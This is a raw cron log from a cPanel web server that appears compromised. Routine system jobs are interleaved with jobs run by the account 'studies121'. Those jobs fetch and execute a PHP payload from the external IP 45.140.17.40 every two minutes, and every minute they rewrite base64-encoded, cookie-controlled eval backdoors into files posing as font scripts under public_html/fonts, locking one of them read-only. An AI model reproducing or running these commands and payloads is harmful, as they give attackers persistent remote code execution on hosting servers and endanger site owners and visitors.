Sep 10 16:27:01 ip-184-168-122-23 CROND[6001]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:28:01 ip-184-168-122-23 CROND[6185]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 16:28:01 ip-184-168-122-23 CROND[6186]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 16:28:01 ip-184-168-122-23 CROND[6189]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:28:01 ip-184-168-122-23 CROND[6187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:28:01 ip-184-168-122-23 CROND[6190]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 16:29:01 ip-184-168-122-23 CROND[6275]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:29:01 ip-184-168-122-23 CROND[6276]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 16:29:01 ip-184-168-122-23 CROND[6277]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:29:01 ip-184-168-122-23 CROND[6278]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 16:30:01 ip-184-168-122-23 CROND[6373]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep 10 16:30:01 ip-184-168-122-23 CROND[6374]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:30:01 ip-184-168-122-23 CROND[6375]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 16:30:01 ip-184-168-122-23 CROND[6376]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 16:30:01 ip-184-168-122-23 CROND[6383]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:30:01 ip-184-168-122-23 CROND[6384]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 16:30:01 ip-184-168-122-23 CROND[6385]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 16:30:01 ip-184-168-122-23 CROND[6386]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 16:30:01 ip-184-168-122-23 CROND[6392]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 16:31:01 ip-184-168-122-23 CROND[6477]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:31:01 ip-184-168-122-23 CROND[6479]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:31:01 ip-184-168-122-23 CROND[6480]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 16:31:01 ip-184-168-122-23 CROND[6481]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 16:31:01 ip-184-168-122-23 CROND[6484]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 16:32:01 ip-184-168-122-23 CROND[6585]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:32:01 ip-184-168-122-23 CROND[6587]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 16:32:01 ip-184-168-122-23 CROND[6588]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:32:01 ip-184-168-122-23 CROND[6589]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 16:32:01 ip-184-168-122-23 CROND[6590]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 16:33:01 ip-184-168-122-23 CROND[6691]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 16:33:01 ip-184-168-122-23 CROND[6695]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 16:33:01 ip-184-168-122-23 CROND[6697]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:33:01 ip-184-168-122-23 CROND[6698]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:34:01 ip-184-168-122-23 CROND[6774]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 16:34:01 ip-184-168-122-23 CROND[6776]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 16:34:01 ip-184-168-122-23 CROND[6778]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 16:34:01 ip-184-168-122-23 CROND[6780]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:34:01 ip-184-168-122-23 CROND[6779]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:35:01 ip-184-168-122-23 CROND[6964]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:35:01 ip-184-168-122-23 CROND[6966]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 16:35:01 ip-184-168-122-23 CROND[6968]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 16:35:01 ip-184-168-122-23 CROND[6973]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 10 16:35:01 ip-184-168-122-23 CROND[6970]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 16:35:01 ip-184-168-122-23 CROND[6972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 16:35:01 ip-184-168-122-23 CROND[6974]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:35:01 ip-184-168-122-23 CROND[6971]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 16:36:02 ip-184-168-122-23 CROND[7125]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 16:36:02 ip-184-168-122-23 CROND[7126]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 16:36:02 ip-184-168-122-23 CROND[7128]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 16:36:02 ip-184-168-122-23 CROND[7130]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:36:02 ip-184-168-122-23 CROND[7131]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:37:01 ip-184-168-122-23 CROND[7235]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 16:37:01 ip-184-168-122-23 CROND[7238]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 16:37:01 ip-184-168-122-23 CROND[7236]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:37:01 ip-184-168-122-23 CROND[7237]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:38:01 ip-184-168-122-23 CROND[7335]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:38:01 ip-184-168-122-23 CROND[7338]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:38:01 ip-184-168-122-23 CROND[7336]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 16:38:01 ip-184-168-122-23 CROND[7337]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 16:38:01 ip-184-168-122-23 CROND[7339]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 16:39:01 ip-184-168-122-23 CROND[7447]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:39:01 ip-184-168-122-23 CROND[7448]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 16:39:01 ip-184-168-122-23 CROND[7453]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 16:39:01 ip-184-168-122-23 CROND[7451]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 16:39:01 ip-184-168-122-23 CROND[7452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:40:01 ip-184-168-122-23 CROND[7656]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
